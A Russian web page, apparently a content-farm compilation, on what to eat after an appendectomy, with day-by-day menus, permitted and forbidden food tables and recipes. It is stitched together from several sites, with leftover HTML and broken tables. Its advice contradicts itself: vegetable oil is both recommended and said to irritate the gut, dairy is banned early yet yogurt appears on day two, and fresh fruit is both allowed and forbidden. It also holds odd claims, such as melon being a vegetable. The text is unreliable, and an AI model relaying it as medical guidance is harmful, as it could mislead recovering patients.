Что можно кушать после операции аппендицитДиета после удаления аппендицита Принимая во внимание состояние пациента, спустя 12-16 часов после удаления аппендицита ему могут разрешить овощной бульон или кисель. Первые сутки после оперативного вмешательства предлагается диета №0б, которая подразумевает ограниченное использование продуктов в протёртом виде. Все блюда должны быть жидкими. В период со второго по четвёртый день назначается диета №0в (вареные овощи, яйца, рис, чай на травах, отвары).Диетический стол №1 рекомендован с 5-6 дня. В него входят блюда, которые легко перевариваются ЖКТ. Длительность такого рациона составляет примерно 1 месяц. При условии нормального восстановления больному разрешается перейти на стол №15. Это общеукрепляющая диета, с минимальным перечнем ограничений. Преимущественно используются здоровые продукты. В их измельчении необходимость отпадает. Среди блюд должна преобладать жидкая пища. Продолжительность такого рациона определяется индивидуально.Принципы диетыПослеоперационный диетический стол предполагает последовательное расширение списка разрешённых продуктов и метода их обработки. Основным принципом такого рациона является дробное питание. Предлагается делить приём пищи на 5-7 заходов.Диета – это не только правильно подобранные продукты, но и способ их употребления. Принимать еду следует медленно, тщательно пережёвывая каждую порцию.Читать еще: 1 стол после операции <noscript><img src="https://lifestyleplus.ru/wp-content/plugins/a3-lazy-load/assets/images/lazy_placeholder.gif" /></noscript><img class="lazyload" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src="https://lifestyleplus.ru/wp-content/plugins/a3-lazy-load/assets/images/lazy_placeholder.gif" /></p><p>Рацион питания в период реабилитации после оперативного вмешательства предусматривает строгие ограничения, особенно в первые сутки. Под запретом оказываются следующие продукты:</p><ul><li>приправы, соусы и кетчупы;</li><li>бобовые культуры;</li><li>острые перцы;</li><li>грибы;</li><li>консервация;</li><li>еда из фастфуда;</li><li>жирные сорта рыбы и мяса;</li><li>экзотические фрукты;</li><li>пища, содержащая химические красители;</li><li>кондитерские изделия.</li></ul><p>Строгие ограничения также распространяются на соль, алкоголь, табакокурение.</p><p>Для тех, кому назначена лечебная диета после операции на аппендицит, рекомендуется придерживаться дополнительных требований:</p><ul><li>отказаться на время реабилитации от выполнения физических упражнений, занятий спортом;</li><li>носить поддерживающее бельё;</li><li>ограничить подъём тяжестей;</li><li>не допускать переохлаждения организма.</li></ul><h2>Как питаться в первые три дня после операции</h2><p>На протяжении 12-24 часов после хирургической процедуры по удалению аппендицита всем пациентам назначается нулевая диета. Её ещё так и называют – хирургическая. Тем, кто находится под воздействием лекарственной комы, питание вводят внутривенно. Для этих целей применяют глюкозу.</p><p>Нулевая диета подразумевает использование желеобразных и жидких блюд. Потреблять их следует дозировано, деля суточную норму на 7-9 кратный приём.</p><p><strong>Меню хирургического рациона выглядит примерно так:</strong></p><ul><li>первый приём – смородиновый кисель (100 мл);</li><li>второй приём – рисовый отвар (70-100 мл);</li><li>третий приём – слегка подслащенный чай (не крепкий);</li><li>четвёртый приём – овощной бульон (120 мл);</li><li>пятый приём – свежеотжатый сок, разведённый водой (100 мл);</li><li>шестой приём – кисель из свежих фруктов/ягод (150 мл);</li><li>седьмой приём – подслащенный чай (некрепкий).</li></ul><p>Нельзя употреблять сметану, чёрный хлеб, ломтики фруктов из-за риска вздутия кишечника на фоне процесса брожения.</p><p>После удаления аппендицита с применением метода лапароскопии нулевую диету не назначают. Это объясняется точечным травмированием кишечника, исключающим наличие обширной зоны поражения.</p><p><strong>Ограничения распространяются на:</strong></p><ul><li>крупную нарезку ингредиентов;</li><li>использование продуктов, способных вызвать газообразование (капуста, сладкие фрукты, чёрный хлеб, сдобная выпечка, бобовые культуры и пр.);</li><li>пищу, раздражающую стенки желудочно-кишечного тракта (перец чили, крупные горошины перца, маринады, грибы и пр.);</li><li>молочную продукцию (из-за риска инфицирования).</li></ul><p>На вторые сутки после удаления аппендицита диетический рацион расширяется. Порции однократного приёма возрастают до 150 г или 170 мл. Количество приёмов пищи уменьшается до 5 раз в день.</p><p><strong>Разрешаются включения:</strong></p><ul><li>каши в жидком виде (овсянка, гречка, и др.);</li><li>пюреобразные супы с крупами гомогенного содержания;</li><li>мясное и рыбное суфле, приготовленное на пару;</li><li>сливки (не более ½ ч. л.);</li><li>желе на основе некислых ягод;</li><li>омлет (без поджаристой корочки).</li></ul><h2>Меню на неделю для взрослых по дням</h2><p>Набор продуктов для диетического стола после удаления аппендицита для каждого дня подбирается индивидуально. Если первые 3-е суток отличаются строгими ограничениями, то с 4 дня пациенту предлагается расширенный рацион питания. В него допускается включать:</p><ul><li>кисломолочные продукты (не жирные или с небольшим содержанием жира);</li><li>мелкозернистый творог (натуральный);</li><li>овощное пюре;</li><li>запечённые яблоки;</li><li>мясо птицы, телятины или рыба в виде фарша (из свинины можно только постную вырезку).</li></ul><blockquote><p>Молочные продукты для каждого пациента разрешаются в определённом количестве. Их потребление врач может запретить, если организм реагирует на кислую среду расстройствами стула.</p></blockquote><p>При нормальном восстановлении здоровья после оперативного вмешательства на аппендиците предлагается диета № 1. Разнообразить меню можно следующими блюдами:</p><ul><li>протёртым творогом со сметаной и мёдом (кисломолочная продукция выбирается натурального происхождения, содержащая минимальное количество жира);</li><li>сухариками из белого хлеба (суточная норма до 50-100 г);</li><li>апечёнными яблоками с мёдом;</li><li>супами-пюре из тыквы, кабачков, картофеля;</li><li>тефтелями из телятины или птицы на пару;</li><li>рыбой под овощной подушкой, запечённой в духовке;</li><li>рисовым отваром (допускается небольшое содержание крупы);</li><li>свежими фруктами (кожуру нужно очищать).</li></ul><p>В качестве примера предлагается следующий вариант диетического стола на неделю.</p><h2>Рацион питания по дням при аппендиците</h2></td></tr><tr><td w ><strong><em>Дни</em></strong></td><td w ><strong>Завтрак 1</strong></td><td w ><strong>Завтрак 2</strong></td><td w ><strong>Обед</strong></td><td w ><strong>Полдник</strong></td><td w ><strong>Ужин</strong></td></tr><tr><td w >Первый</td><td colspan="5" w >очищенная вода</td></tr><tr><td w >Второй</td><td w >травяной чай</td><td w >овсяный кисель</td><td w >отвар из риса</td><td w >отвар из плодов шиповника</td><td w >бульон куриный (не жирный)</td></tr><tr><td w >Третий</td><td w >отварное яйцо</td><td w >желе из фруктов</td><td w >бульон на овощах</td><td w >кисель</td><td w >чай</td></tr><tr><td w >Четвёртый</td><td w >кисель</td><td w >ягодный отвар</td><td w >пюре из куриного филе и кабачка</td><td w >компот</td><td w >овсянка жидкая на воде</td></tr><tr><td w >Пятый</td><td w >омлет</td><td w >компот</td><td w >измельчённая рыба</td><td w >чай на травах</td><td w >овощной суп</td></tr><tr><td w >Шестой</td><td w >овсянка</td><td w >ряженка</td><td w >тыквенное пюре</td><td w >запечённые яблоки</td><td w >картофельное пюре, тефтели на пару</td></tr><tr><td w >Седьмой</td><td w >рисовая каша</td><td w >травяной чай</td><td w >овощи с курицей на пару</td><td w >творог</td><td w >отварное яйцо</td></tr></tbody></table><h2>Рецепты блюд</h2><p>В диете после операции аппендицита, невзирая на строгие ограничения, используется довольно богатый набор ингредиентов. Из разрешённых продуктов можно приготовить вкусные и полезные блюда.</p><p>На основе круп готовят: жидкие каши, супы, кисель, отвары. В первые послеоперационные дни уместно приготовить отвар из риса. Для этого крупу промывают и ставят на огонь до закипания. По мере образования пены необходимо производить её удаление. Варить после закипания нужно 15-20 минут. Процеженную жидкость дают в тёплом виде по 100-120 мл.</p><p>Из овощей после удаления аппендицита чаще всего используют кабачки, картофель, тыкву и морковь. Очень интересное на вкус и полезное для здоровья пюре получается из отварной тыквы. На приготовление уходит 15-20 минут. Очищенные кусочки овоща проваривают до готовности и размягчают до однородной консистенции. Для улучшения вкуса добавляют ½ ч. л. сливок и мёда. Сделает пюре более постным растительное масло (подсолнечное, оливковое, льняное).</p><p>Из нежирных сортов мяса подходят курятина, телятина и говядина. Ткани продукта не должны быть жилистыми или жирными. Фарш можно немного подсолить. Для облегчения консистенции рекомендуется добавить измельчённый кабачок. Сформированные тефтели томить на пару 20-30 минут. Подавать в тёплом виде.</p><p>Из напитков больше всего подходят травяные чаи и ягодные морсы. Соки следует употреблять только свежеотжатые. От пакетированной продукции лучше отказаться. Подбор фруктов осуществляется с учётом рекомендаций лечащего врача.</p><p>Рыбу из нежирных сортов включают в диетический рацион в ограниченном количестве. Первое включение в меню разрешается с пятого дня после операции аппендицита. Из видов обработки следует использовать варку на пару, запекание в духовом шкафу.</p><p style="clear: both"> <noscript><img src="https://lifestyleplus.ru/wp-content/plugins/a3-lazy-load/assets/images/lazy_placeholder.gif" /></noscript><img class="lazyload" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src="https://lifestyleplus.ru/wp-content/plugins/a3-lazy-load/assets/images/lazy_placeholder.gif" /></p><h2>Плюсы и минусы диеты</h2><p>Диета после операции аппендицита – это часть лечебного процесса. Специальный рацион питания обладает следующими преимуществами:</p><ul><li>убирает причины газообразование и вздутие живота;</li><li>снижается нагрузка на ЖКТ;</li><li>восстанавливается работа системы пищеварения;</li><li>активизируется регенеративная функция;</li><li>укрепляется иммунитет;</li><li>ощущается прилив сил и энергии;</li><li>отсутствие противопоказаний.</li></ul><p>Диету после операции на аппендицит нельзя назвать сбалансированной, и это её минус. Длительное время следовать такому принципу питания нельзя. Из недостатков отмечается также индивидуальная непереносимость некоторых продуктов. В этом случае требуется корректировка меню. Рекомендации даёт исключительно лечащий врач, который следит за динамикой восстановления организма.</p><h2>Рекомендации диетологов</h2><p>Для исключения ухудшения состояния в период реабилитации после удаления аппендицита диетологи советуют придерживаться следующих правил.</p><ol><li>Дробное питание предполагает употребление уменьшенных порций (в пределах 120-150 г или до 170 мл).</li><li>Пища должна соответствовать температурному режиму в пределах 36-38 градусов.</li><li>Консистенция пюре и каш доводится до жидкого состояния.</li><li>У пациентов с лактазной недостаточностью из-за молочных продуктов может возникнуть вздутие живота. В таком случае в супы и каши лучше добавлять немного растительного масла (оливковое, льняное).</li><li>Макароны, кофе и овощи с грубой клетчаткой в первую неделю после операции не используются для меню. Они тяжело усваиваются, вызывая нежелательные реакции.</li><li>Не протёртые блюда вводятся в рацион постепенно (не более 1 порции в день).</li></ol><p>После выписки из стационара ограничения на жирные, жареные и копчёные продукты сохраняются на протяжении минимум 1 месяц. Диетологи советуют полностью отказаться от такой пищи. Это хороший момент перейти на правильное питание. Тем более что организм начал отвыкать от вредной еды.</p><h2>Правильное питание и диета после аппендицита: что можно кушать после операции и меню по дням для взрослых и детей</h2><p style="clear: both"><noscript><img style="float: left; margin: 0 10px 5px 0;" src="http://pitanie.plus/wp-content/uploads/2019/10/1_400x250.jpg" /></noscript><img class="lazyload" style="float: left; margin: 0 10px 5px 0;" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src="http://pitanie.plus/wp-content/uploads/2019/10/1_400x250.jpg" />Воспаление аппендикса лечится только оперативным способом — с помощью лапароскопии или «классической» операцией. <br />После этой операции, как и после любой другой, организм должен восстановиться. Для этого необходимо соблюдать правильный режим питания, который в первую неделю будет очень строгим.</p><h2>Что можно и нельзя кушать после операции по удалению органа?</h2><p>Питание пациента, перенесшего удаление аппендицита, обеспечивает ему быстрое выздоровление и предотвращение осложнений. Поэтому важно ознакомиться с примерным рационом питания взрослых и детей, чтобы не навредить ослабленному организму.</p><h3>Рацион питания для взрослых мужчин и женщин</h3><p>Диетическое питание после удаления аппендицита в первую очередь направлено на восстановление перистальтики кишечника, улучшение метаболизма, а также на повышение иммунитета и ускорение заживления.</p><div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://sportpit18.ru/protsedury/gimnastika-posle-operatsii-tazobedrennogo-sustava-video.html" target="_blank" rel="dofollow" class="u432648966e936187a7e68218be4cb35e"><style>.u432648966e936187a7e68218be4cb35e { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:inherit; border:0!important; border-left:4px solid inherit!important; box-shadow: 0 1px 2px rgba(0, 0, 0, 0.17); -moz-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.17); -o-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.17); -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.17); text-decoration:none; } .u432648966e936187a7e68218be4cb35e:active, .u432648966e936187a7e68218be4cb35e:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .u432648966e936187a7e68218be4cb35e { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .u432648966e936187a7e68218be4cb35e .ctaText { font-weight:bold; color:inherit; text-decoration:none; font-size: 16px; } .u432648966e936187a7e68218be4cb35e .postTitle { color:inherit; text-decoration: underline!important; font-size: 16px; } .u432648966e936187a7e68218be4cb35e:hover .postTitle { text-decoration: underline!important; }</style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">Читать еще:</span> <span class="postTitle">Гимнастика после операции тазобедренного сустава видео</span></div></a></div><p>Калорийность ежедневного меню должна колебаться в пределах 2000-2200 калорий. Пищу нужно принимать небольшими порциями, часто, по 5-6 раз. Необходимо выпивать по 2 литра чистой воды в сутки. Такой объем жидкости позволяет вывести токсины и улучшить приток крови. Все это способствует быстрому заживлению ран.</p><p>Пища должна быть теплой: не горячей и в то же время не холодной. Неподходящая температура продуктов вызовет спазм, который тормозит восстановление желудка.</p><p><strong>Основные принципы питания после хирургического вмешательства:</strong></p><ul><li>Продукты рекомендуется варить и запекать.</li><li>Не добавляйте при приготовлении растительные жиры, они раздражают кишечник. Спустя 6-7 дней после операции можно добавлять в блюда немного сливочного масла.</li><li>Не принимайте в пищу продукты, способствующие газообразованию.</li><li>Добавляйте в рацион продукты с высоким содержанием пищевых волокон.</li><li>За полчаса до еды выпивайте по стакану воды. Это улучшит усвоение продуктов. После еды пить можно только спустя 1-1,5 часа.</li></ul><h3>Что разрешено детям?</h3><p>Ребенка можно кормить несвежим хлебом, галетным печеньем и речной рыбой (только запеченной). Из круп разрешены манная, гречневая и овсяная. Также можно приготовить омлет, овощные супы и кисели.</p><h2>Какой Стол рекомендуется при хроническом заболевании?</h2><p style="clear: both"><noscript><img style="float: left; margin: 0 10px 5px 0;" src="http://pitanie.plus/wp-content/uploads/2019/10/2_cut-photo.ru_400x250.jpg" /></noscript><img class="lazyload" style="float: left; margin: 0 10px 5px 0;" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src="http://pitanie.plus/wp-content/uploads/2019/10/2_cut-photo.ru_400x250.jpg" />При хроническом заболевании рекомендуется отказаться от жареной, жирной и соленой пищи. Поэтому больным подходит диета Стол №1 и Стол №5а.</p><p>Пациентам запрещается принимать в пищу добавки, а также приправы. Продукты также измельчают перед приемом. В качестве напитков можно употреблять травяные чаи и отвары.</p><p>Кофейные напитки под строжайшим запретом.</p><h2>Сколько длится диета?</h2><p>Длительность диеты может варьироваться от недели до месяца. Все зависит от скорости зарастания швов и общего состояния здоровья больного.</p><p>В первую половину суток после проведения операция врачи настоятельно рекомендуют отказаться от еды, а только лишь смачивать губы чистой водой. В следующие пару дней питание должно быть легким, дробным и жидким.</p><p>В обычных случаях постельный режим и строгая диета соблюдаются в течение первой недели. Потом, если не будет осложнений, можно начинать двигаться, но не активно, и вводить в рацион новые продукты.</p><p>Если же швы не заросли или состояние пациента резко ухудшилось, диетическое питание соблюдается до полного выздоровления.</p><h2>Меню на первую неделю по дням</h2><p><strong>Понедельник</strong></p><p>Первый день будет самым сложным, так как есть нельзя. Рекомендуется только употребление воды, и то небольшими глотками.</p><p>Если спустя 12 часов состояние стабилизировалось, больному можно дать овощной бульон.</p><p><strong>Вторник</strong></p><p>На второй день ешьте небольшими порциями. Пища должна быть жидкой, перетертой и не соленой.</p><p><strong>В меню входят следующие блюда:</strong></p><ul><li>овощное пюре;</li><li>нежирное мясо, измельченное в блендере (подходит индейка или курица);</li><li>йогурт (с низким процентом жирности);</li><li>каши (только на воде);</li><li>чай, кисель или компот;</li><li>бульон на курице.</li></ul><p><strong>Среда</strong></p><p style="clear: both"><noscript><img style="float: left; margin: 0 10px 5px 0;" src="http://pitanie.plus/wp-content/uploads/2019/10/3-2_400x250.jpg" /></noscript><img class="lazyload" style="float: left; margin: 0 10px 5px 0;" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src="http://pitanie.plus/wp-content/uploads/2019/10/3-2_400x250.jpg" />Этот день желательно начать с каши, которую разрешается немного подсолить. Также в кашу можно добавить небольшой кусочек сливочного масла. Разрешается варить яйцо, но только всмятку.</p><p>В качестве второго завтрака можно выпить некрепкий чай с сухим печеньем (типа «Марийка»).</p><p>На обед рекомендуется отварной белый рис с добавлением моркови и картофеля, но уже без масла. Полдник — йогурт с низкой жирностью (можно заменить нежирным кефиром), кисель на молоке или фруктах.</p><p>На ужин разрешается немного овсяной каши с рыбой, приготовленной на пару.</p><p><strong>Четверг</strong></p><p>Пища должна быть богатой клетчаткой. Поэтому в рацион нужно включить как можно больше овощей. Это и овощи на пару, и овощные бульоны, и супы-пюре. Также разрешается есть кашу, но только приготовленную на воде.</p><p>Можно пить некрепкий чай, компоты или негазированную воду.</p><p><strong>Пятница</strong></p><p>С этого дня количество масла в кашах можно увеличивать. В чай уже разрешается добавлять сахар (но не более 1 чайной ложки). К чаю, как обычно, добавляется сухое печенье (3-4 штуки). В качестве перекуса подойдет хлеб, смазанным медом.</p><p>Обед должен быть полноценным. Поэтому нужно приготовить кашу с мясом или котлетой на пару, овощной суп, ржаной хлеб (вчерашний) и чай с печеньем (не более 2 штук).</p><p>Перекус остаются прежним — кефир или йогурт.</p><p>На ужин снова готовится каша (ячневая, гречневая либо перловая). Также добавляется вареное яйцо и тушеная рыба.</p><p>На второй ужин (перед сном) можно заварить чай и выпить его с кусочком хлеба с маслом.</p><p style="clear: both"><noscript><img style="float: left; margin: 0 10px 5px 0;" src="http://pitanie.plus/wp-content/uploads/2019/10/4-2_400x250.jpg" /></noscript><img class="lazyload" style="float: left; margin: 0 10px 5px 0;" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src="http://pitanie.plus/wp-content/uploads/2019/10/4-2_400x250.jpg" />На завтрак снова каша, хлеб с маслом или вареньем и компот. Второй завтрак — снова чай с печеньем. На обед варят суп, можно приготовить бульон из индейки. Также тушится капуста или картофель с луком и морковью, но томат или томатная паста не добавляется.</p><p>Полдник не меняется — йогурт или кисель. На ужин попробуйте приготовить запеканку из творога и манной крупы (сметану еще не добавляем), напиток — сладкий чай из сухофруктов. К чаю можно взять хлеб или сладкую булочку, но без начинки.</p><p>Начиная с этого дня, можно пробовать вводить продукты из запрещенного списка. но делайте это крайне осторожно, достаточно будет одной чайной ложки нового продукта. После его употребления несколько часов нужно наблюдать за реакцией организма.</p><p>Не стоит пробовать сразу много новых продуктов в один день. Иначе в случае негативной реакции организма, вы не сможете понять, на что она началась.</p><p>В течение всего месяца после операции организм должен получать максимальное количество витаминов и полезных элементов, особенно белков.</p><p><strong>Спустя неделю разнообразьте меню следующими продуктами:</strong></p><ul><li>рыба и мясо (все должно быть приготовлено на пару);</li><li>каши на молоке (но разбавлять его с водой);</li><li>ягоды и фрукты (для начала по несколько грамм);</li><li>зефир (это пока единственная разрешенная сладость);</li><li>молочные продукты (нежирные или с низкой жирностью).</li></ul><p>Уже через месяц после операции можно добавлять в меню любые продукты. За этот период организм должен полностью восстановиться и набраться сил.</p><h2>Какая еда рекомендуется на второй неделе после вырезания?</h2><p><strong>Через 7 дней после того, как вырезали аппендицит необходимо соблюдать следующие принципы питания:</strong></p><ul><li>соль и приправы остаются под запретом;</li><li>от фасоли и бобовых следует отказаться, чтобы избежать образования газов;</li><li>средний вес одной порции составляет 200-220 г;</li><li>в один день не вводят более двух продуктов;</li><li>ржаной хлеб есть можно, но в минимальных количествах;</li><li>разрешается включать в рацион мед и творог.</li></ul><h2>Таблица с разрешенными и запрещенными продуктами</h2><table style="border-collapse: collapse; w ><tbody><tr style="height: 21px;"><td style="width: 50%; text-align: center; height: 21px;"><strong>Можно</strong></td><td style="width: 50%; text-align: center; height: 21px;"><strong>Нельзя</strong></td></tr><tr style="height: 21px;"><td style="width: 50%; height: 21px;">Гречневая крупа</td><td style="width: 50%; height: 21px;">Сдоба</td></tr><tr style="height: 21px;"><td style="width: 50%; height: 21px;">Манная каша</td><td style="width: 50%; height: 21px;">Свежий хлеб</td></tr><tr style="height: 21px;"><td style="width: 50%; height: 21px;">Овсянка</td><td style="width: 50%; height: 21px;">Мясо жирных сортов</td></tr><tr style="height: 21px;"><td style="width: 50%; height: 21px;">Рис (только белый)</td><td style="width: 50%; height: 21px;">Жирные сорта птицы и рыбы</td></tr><tr style="height: 21px;"><td style="width: 50%; height: 21px;">Желе</td><td style="width: 50%; height: 21px;">Колбаса и все колбасные изделия</td></tr><tr style="height: 21px;"><td style="width: 50%; height: 21px;">Хлеб (не свежий)</td><td style="width: 50%; height: 21px;">Копченые продукты</td></tr><tr style="height: 21px;"><td style="width: 50%; height: 21px;">Печенье сухое (на 4 день после операции)</td><td style="width: 50%; height: 21px;">Соления, консервы</td></tr><tr style="height: 65px;"><td style="width: 50%; height: 65px;">Нежирные сорта мяса или птицы (их необходимо прокручивать дважды через мясорубку)</td><td style="width: 50%; height: 65px;">Сало</td></tr><tr style="height: 21px;"><td style="width: 50%; height: 21px;">Яйца (всмятку) или омлет на пару</td><td style="width: 50%; height: 21px;">Шоколад, крем и мороженое</td></tr><tr style="height: 21px;"><td style="width: 50%; height: 21px;">Бульоны из овощей или курицы</td><td style="width: 50%; height: 21px;">Продукты быстрого приготовления</td></tr><tr style="height: 43px;"><td style="width: 50%; height: 43px;">Суп из овсянки или манной каши (можно добавить молоко или яичную смесь)</td><td style="width: 50%; height: 43px;">Газированные напитки, кофе</td></tr><tr style="height: 21px;"><td style="width: 50%; height: 21px;">Молочные продукты (нежирные) — с третьего дня</td><td style="width: 50%; height: 21px;">Любые пряности и приправы</td></tr><tr><td style="width: 50%;">Мед, варенье</td><td style="width: 50%;">Бобовые</td></tr><tr><td style="width: 50%;">Сливочное и растительное масло (спустя 4-5 дней)</td><td style="width: 50%;">Макаронные изделия</td></tr><tr><td style="width: 50%;">Соки в разбавленном виде, чай некрепкий (разрешается добавлять молоко), травяные отвары</td><td style="width: 50%;">Томатный и майонезный соус</td></tr><tr><td style="width: 50%;">Вареные вкрутую яйца и яичница</td></tr><tr><td style="width: 50%;">Грибы</td></tr><tr><td style="width: 50%;">Фрукты и ягоды (кислые)</td></tr><tr><td style="width: 50%;">Овощи, в состав которых входит грубая клетчатка</td></tr></tbody></table><h2>Фрукты</h2><p style="clear: both"><noscript><img style="float: left; margin: 0 10px 5px 0;" src="http://pitanie.plus/wp-content/uploads/2019/10/5_400x250.jpg" /></noscript><img class="lazyload" style="float: left; margin: 0 10px 5px 0;" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src="http://pitanie.plus/wp-content/uploads/2019/10/5_400x250.jpg" />Как только больной немного восстановится после операции (это происходит примерно спустя 5-7 дней), в его рацион можно вводить фрукты. Стоит отметить, что в свежем виде фрукты употреблять нельзя, их нужно обязательно перерабатывать.</p><p>Первое, что разрешается, — это яблоки в запеченном виде. Во время запекания фрукт приобретает нужную консистенцию. После обработки яблоко лучше усваивается, поэтому проблем с кишечником не возникает.</p><p>Есть ряд продуктов, которые противопоказаны к употреблению в первый месяц после удаления аппендицита. Это в первую очередь те продукты, которые приводят к повышенному газообразованию, — виноград, кислые яблоки. Также не спешите налегать на цитрусовые, так как они могут стать причиной аллергических реакций.</p><p>Дыня относится к категории овощей. Но ее употребление рекомендуется отложить в первые три недели после операции.</p><p>По истечению указанного времени можно начинать вводить этот продукт в рацион. Но делать это нужно постепенно, с минимальных порций. С каждым днем можно увеличивать порции и при этом необходимо наблюдать за состоянием организма больного, чтобы предотвратить осложнения.</p><h2>Полезное видео</h2><p>Видео о том, какое должно быть питание после удаления аппендицита смотрите далее:</p><h2>Что можно кушать после операции на аппендицит</h2><p>✓ Статья проверена доктором</p><p>Послеоперационный период всегда требует восстановительных мероприятий, в особенности, если после удаления аппендицита. После перенесенной операции необходимо подготовиться к тому, что какое-то время необходимо будет соблюдать специальную диету, которая поможет вернуться к нормальной жизнедеятельности. Восстановление ЖКТ – одна из главных задач, что стоит перед пациентом после операции.</p><p>Не следует самостоятельно составлять рацион питания, ведь это может усугубить послеоперационное состояние здоровья. Изучив анамнез, только лечащий врач, сможет составить правильную диету и определить список разрешенных продуктов. В основном длительность диеты составляет две недели, но в целом зависит от возможных осложнений.</p><div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://sportpit18.ru/protsedury/kak-umenshit-obem-zheludka-bez-operatsii.html" target="_blank" rel="dofollow" class="u510a8278f113e336405372b7b07aca64"><style>.u510a8278f113e336405372b7b07aca64 { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:inherit; border:0!important; border-left:4px solid inherit!important; box-shadow: 0 1px 2px rgba(0, 0, 0, 0.17); -moz-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.17); -o-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.17); -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.17); text-decoration:none; } .u510a8278f113e336405372b7b07aca64:active, .u510a8278f113e336405372b7b07aca64:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .u510a8278f113e336405372b7b07aca64 { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .u510a8278f113e336405372b7b07aca64 .ctaText { font-weight:bold; color:inherit; text-decoration:none; font-size: 16px; } .u510a8278f113e336405372b7b07aca64 .postTitle { color:inherit; text-decoration: underline!important; font-size: 16px; } .u510a8278f113e336405372b7b07aca64:hover .postTitle { text-decoration: underline!important; }</style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">Читать еще:</span> <span class="postTitle">Как уменьшить объем желудка без операции</span></div></a></div><p style="clear: both"><noscript><img src="https://med-explorer.ru/wp-content/uploads/2016/12/%D0%A7%D1%82%D0%BE-%D0%BC%D0%BE%D0%B6%D0%BD%D0%BE-%D0%BA%D1%83%D1%88%D0%B0%D1%82%D1%8C-%D0%BF%D0%BE%D1%81%D0%BB%D0%B5-%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D0%B8-%D0%BD%D0%B0-%D0%B0%D0%BF%D0%BF%D0%B5%D0%BD%D0%B4%D0%B8%D1%86%D0%B8%D1%82-1.jpg" /></noscript><img class="lazyload" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src="https://med-explorer.ru/wp-content/uploads/2016/12/%D0%A7%D1%82%D0%BE-%D0%BC%D0%BE%D0%B6%D0%BD%D0%BE-%D0%BA%D1%83%D1%88%D0%B0%D1%82%D1%8C-%D0%BF%D0%BE%D1%81%D0%BB%D0%B5-%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D0%B8-%D0%BD%D0%B0-%D0%B0%D0%BF%D0%BF%D0%B5%D0%BD%D0%B4%D0%B8%D1%86%D0%B8%D1%82-1.jpg" /></p><p>Что можно кушать после операции на аппендицит</p><p>Труднее всего пациенту даются 24 часа после операции, ведь в этот период запрещается употреблять не только пищу, но и питье. В данном случае разрешается немного смачивать губы водой, чтобы предотвратить пересыхание. Перетерпев сложные сутки можно приступать к восстановительному питанию, которое на определенном этапе имеет свои особенности – питание будет различаться на второй и третий день, на первой неделе, на второй и третьей неделе.</p><h2>Какие изменения происходят после оперативного вмешательства?</h2><p>В случае попадания инфекции, возбудителя недуга или повреждении аппендицит начинает воспаляться и возникает отечность с последующим болевым синдромом. Если во время обследования подтверждается острый аппендицит, то больного отправляют на аппендэктомию. Таким образом происходит удаление воспалившегося отростка. Данный вид оперативного вмешательства является безопасным и позволяет организму в быстрые сроки восстановиться. Удаление происходит посредством прокола с помощью специально предназначенных инструментов.</p><p>Однозначного мнения по поводу необходимости аппендицита нет, поэтому определено две версии его функциональности:</p><ol><li>Остался в роли рудимента.</li><li>Является частью слепой кишки (придатком), который принимает участие в формировании иммунитета в ЖКХ и предотвращает активизацию болезнетворных бактерий.</li></ol><p style="clear: both"><noscript><img src="https://med-explorer.ru/wp-content/uploads/2016/12/%D0%94%D0%BE-%D0%B8-%D0%BF%D0%BE%D1%81%D0%BB%D0%B5-%D1%83%D0%B4%D0%B0%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F-%D0%B0%D0%BF%D0%BF%D0%B5%D0%BD%D0%B4%D0%B8%D1%86%D0%B8%D1%82%D0%B0.png" /></noscript><img class="lazyload" src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' data-src="https://med-explorer.ru/wp-content/uploads/2016/12/%D0%94%D0%BE-%D0%B8-%D0%BF%D0%BE%D1%81%D0%BB%D0%B5-%D1%83%D0%B4%D0%B0%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F-%D0%B0%D0%BF%D0%BF%D0%B5%D0%BD%D0%B4%D0%B8%D1%86%D0%B8%D1%82%D0%B0.png" 